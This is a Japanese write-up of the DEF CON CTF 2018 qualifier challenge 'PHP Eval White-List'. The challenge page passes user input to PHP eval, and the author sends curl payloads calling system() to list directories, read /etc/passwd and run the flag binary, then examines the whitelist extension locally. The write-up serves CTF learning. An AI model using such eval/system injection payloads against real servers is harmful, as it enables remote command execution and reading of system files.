DEF CON CTF Qualifier 2018 - PHP Eval White-List
問題文
PHP was dangerous, so we've fixed it! http://c67f8ffd.quals2018.oooverflow.io Files: websec_eval_wl.so

writeup
画面入力したパラメータをevalで実行するPHPが公開されている。
そのまま実行するとこうなる。

ダウンロード可能なファイルは、以下2つ。
- websec_eval_wl.so
- source.txt
source.txtは以下の通り。
<!DOCTYPE html> <html> <head> <title>php as a service</title> <link rel='stylesheet' href='bootstrap.min.css' /> </head> <body> <div id='main'> <div class='container'> <div class='row'> <h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1> </div> <div class='row'> <p class='lead'> PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a> directive to prevent you from accessing the <code>flag</code> binary up the current folder. You can check the source of the page <a href='./source.php'>here</a>. </p> </div> </div> <div class='container '> <div class='row '> <form action='' method='post' class="form-inline"> <div class="form-group"> <div class="input-group"> <div class="input-group-addon">Code to eval</div> <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br> </div> </div> <div class="form-group"> <input type='submit' value='Run!' class="btn btn-default" name='submit'> </div> </form> </div> </div> <br/> <div class='container'> <p class="well"> <?php if (isset($_POST['d'])) { eval($_POST['d']); } else { echo 'Can you execute the <code>./flag</code> binary?'; }?> </p> </div> </div> </body> </html>
websec_eval_wl.soは、evalが実行可能な関数をチェックをしていると思われる。
画面入力では効率が悪いので、curlコマンドで実行。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=printf(1+1);'
<!DOCTYPE html>
<html>
<head>
<title>php as a service</title>
<link rel='stylesheet' href='bootstrap.min.css' />
</head>
<body>
<div id='main'>
<div class='container'>
<div class='row'>
<h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1>
</div>
<div class='row'>
<p class='lead'>
PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to
improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a>
directive to prevent you from accessing the <code>flag</code> binary up the current folder.
You can check the source of the page <a href='./source.txt'>here</a>.
</p>
</div>
</div>
<div class='container '>
<div class='row '>
<form action='' method='post' class="form-inline">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon">Code to eval</div>
<input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br>
</div>
</div>
<div class="form-group">
<input type='submit' value='Run!' class="btn btn-default" name='submit'>
</div>
</form>
</div>
</div>
<br/>
<div class='container'>
<p class="well">
2 </p>
</div>
</div>
</body>
</html>
試しに、system関数を使う。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la");'
<!DOCTYPE html>
<html>
<head>
<title>php as a service</title>
<link rel='stylesheet' href='bootstrap.min.css' />
</head>
<body>
<div id='main'>
<div class='container'>
<div class='row'>
<h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1>
</div>
<div class='row'>
<p class='lead'>
PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to
improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a>
directive to prevent you from accessing the <code>flag</code> binary up the current folder.
You can check the source of the page <a href='./source.txt'>here</a>.
</p>
</div>
</div>
<div class='container '>
<div class='row '>
<form action='' method='post' class="form-inline">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon">Code to eval</div>
<input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br>
</div>
</div>
<div class="form-group">
<input type='submit' value='Run!' class="btn btn-default" name='submit'>
</div>
</form>
</div>
</div>
<br/>
<div class='container'>
<p class="well">
total 168
drwxr-xr-x 3 root root 4096 May 12 18:10 .
drwxr-xr-x 3 root root 4096 May 11 16:29 ..
-rw-r--r-- 1 root root 108376 May 5 04:58 bootstrap.min.css
-rw-r--r-- 1 root root 1672 May 12 18:09 index.php
-rw-r--r-- 1 root root 155 May 5 04:58 source.php
-rw-r--r-- 1 root root 1672 May 12 18:09 source.txt
d-wx-wx-wx 2 root root 4096 May 13 00:45 tmp
-rw-r--r-- 1 root root 33784 May 5 04:58 websec_eval_wl.so
</p>
</div>
</div>
</body>
</html>
あれ、通るぞ・・・。
ただ、親ディレクトリはlsで見れない。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la ../");'
(snip)
<div class='container'>
<p class="well">
</p>
</div>
</div>
</body>
</html>
他のディレクトリもlsでは見れない。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la /etc");'
(snip)
<div class='container'>
<p class="well">
</p>
</div>
</div>
</body>
</html>
しかし、ファイル名を直接指定すれば見れる。中身も見れる。
単にディレクトリのパーミッションに"r"がついていないだけか?
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la /etc/passwd");'
(snip)
<div class='container'>
<p class="well">
-rw-r--r-- 1 root root 1964 May 6 18:38 /etc/passwd
</p>
</div>
</div>
</body>
</html>
lsが使えないが、問題文をヒントに探索していると、親ディレクトリにflag発見。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la ../flag");'
(snip)
<div class='container'>
<p class="well">
---x--x--x 1 root root 8600 May 11 16:29 ../flag
</p>
</div>
</div>
</body>
</html>
実行したらフラグゲット。あれ、こんな単純でいいのだろうか・・・。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("../flag");'
(snip)
<div class='container'>
<p class="well">
OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}
</p>
</div>
</div>
</body>
</html>
ちなみに画面実行するとこうなる。

補足
websec_eval_wl.soとはいったい何だったのか。気になったので少し調べる。
stringsをかける。
ctfuser@kali:PHP Eval White-List$ strings websec_eval_wl.so (snip) API20151012,NTS printf strlen The function '%s' isn't in the eval whitelist, dropping its call. ;*3$" GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609 .fmt (snip)
やはり何かの関数を弾いている。
実行してみることにする。
あらかじめwebsec_eval_wl.soを拡張モジュールの格納ディレクトリにコピーしておく。
ctfuser@kali:PHP Eval White-List$ ll /usr/lib/php/20151012/websec_eval_wl.so -rwxrwxrwx 1 root root 33784 5月 13 08:43 /usr/lib/php/20151012/websec_eval_wl.so
拡張モジュールのインターフェースを確認。
ctfuser@kali:~$ php7.0 -dextension=websec_eval_wl.so --re websec_eval_wl
Extension [ <persistent> extension #45 websec_eval_wl version 1.0 ] {
}
拡張モジュールをロードしてインタラクティブモードで起動してevalを実行。evalにsystem関数は通らない。
ctfuser@kali:PHP Eval White-List$ php7.0 -dextension=websec_eval_wl.so -a
Interactive mode enabled
php > eval('system("echo hoge");');
The function 'system' isn't in the eval whitelist, dropping its call.
拡張モジュールをロードせずにインタラクティブモードで起動してevalを実行すれば通る。
やはりwebsec_eval_wl.soが弾いている。
ctfuser@kali:PHP Eval White-List$ php7.0 -a
Interactive mode enabled
php > eval('system("echo hoge");');
hoge
出題サイトでsystem関数が普通に使えたのは何だったのだろうか。設定ミスだろうか。